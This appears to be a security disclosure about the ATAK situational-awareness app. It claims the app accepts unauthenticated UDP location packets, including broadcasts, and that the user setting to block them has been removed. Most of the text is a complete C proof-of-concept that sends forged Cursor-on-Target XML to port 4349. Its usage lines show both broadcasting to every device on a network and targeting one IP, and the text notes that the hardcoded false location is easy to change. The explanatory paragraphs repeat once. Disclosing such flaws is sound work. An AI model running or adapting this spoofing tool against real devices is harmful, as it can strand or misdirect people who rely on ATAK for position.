In past versions of ATAK, this attack surface was (unwisely) left open by default, but at least it could be manually closed by the user via the menu option Settings > Device Preferences > GPS Preferences > GPS Option.
That user option is no longer available, seemingly leaving the attack surface always open.
Below is a proof of concept attack utility. The attacker doesn't even need to know the IP address of the ATAK user, since ATAK will accept these packets from broadcast addresses as well.
Usage is as simple as:
./demoGPS 255.255.255.255
./demoGPS 192.168.12.34
where the former broadcasts to every ATAK user on the network, and the latter is to a specific user device IP address of your choosing.
As long as one of these packets is sent every few seconds, the target user(s) will be immobilized at a false location.
The false location is hardcoded in this example, but you can see that it is straightforward to modify this to your end requirements.
/*
THIS FILE IS PROVIDED AS IS WITH NO WARRANTY OF ANY KIND, INCLUDING THE
WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#if defined(_MSC_VER) || defined(__MINGW32__)
#include <windows.h>
#define snprintf _snprintf
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
typedef struct sockaddr * LPSOCKADDR;
typedef int SOCKET;
typedef struct sockaddr_in SOCKADDR_IN;
#endif
int main(int argc, char *argv[])
{
int outcome, portno;
#if defined(_MSC_VER) || defined(__MINGW32__)
WSADATA wsaData;
#endif
SOCKADDR_IN victim;
SOCKET udpSocket;
double lat = 38.678315, lon = -77.138435, hae = 250.0;
const char *ipaddr;
int length;
static char buffer[2048];
int set_option_on = 1;
if (argc < 2)
{
printf("%s <ip_addr> [udp_port]\n", argv[0]);
return -1;
}
ipaddr = argv[1];
portno = (argc > 2) ? atoi(argv[2]) : 4349;
#if defined(_MSC_VER) || defined(__MINGW32__)
outcome = WSAStartup(MAKEWORD(2,0), &wsaData);
/* check the version */
if (wsaData.wVersion != MAKEWORD(2,0)) return -1;
#endif
victim.sin_family = AF_INET;
victim.sin_addr.s_addr = inet_addr(ipaddr);
victim.sin_port = htons((unsigned short)portno);
udpSocket = socket(AF_INET, SOCK_DGRAM, 0);
#if defined(_MSC_VER) || defined(__MINGW32__)
if (INVALID_SOCKET == udpSocket) return -1;
#else
if (udpSocket <= 0) return -1;
#endif
setsockopt(udpSocket, SOL_SOCKET, SO_BROADCAST, (char*) &set_option_on, sizeof(set_option_on));
snprintf(buffer, sizeof(buffer), "<?xml version=\"1.0\"?>\xA<event version=\"2.0\" uid=\"GPS\" type=\"a-f-G-I-U-T\"><detail/><point lat=\"%f\" lon=\"%f\" hae=\"%f\" ce=\"10.1\" le=\"9999999.0\"/></event>", lat, lon, hae);
length = strlen(buffer);
outcome = sendto(udpSocket, (char *)buffer, length, 0, (LPSOCKADDR) &victim, sizeof(victim));
#if defined(_MSC_VER) || defined(__MINGW32__)
closesocket(udpSocket);
#else
close(udpSocket);
#endif
return 0;
}
In past versions of ATAK, this attack surface was (unwisely) left open by default, but at least it could be manually closed by the user via the menu option Settings > Device Preferences > GPS Preferences > GPS Option.
That user option is no longer available, seemingly leaving the attack surface always open.
Below is a proof of concept attack utility. The attacker doesn't even need to know the IP address of the ATAK user, since ATAK will accept these packets from broadcast addresses as well.
Usage is as simple as:
where the former broadcasts to every ATAK user on the network, and the latter is to a specific user device IP address of your choosing.
As long as one of these packets is sent every few seconds, the target user(s) will be immobilized at a false location.
The false location is hardcoded in this example, but you can see that it is straightforward to modify this to your end requirements.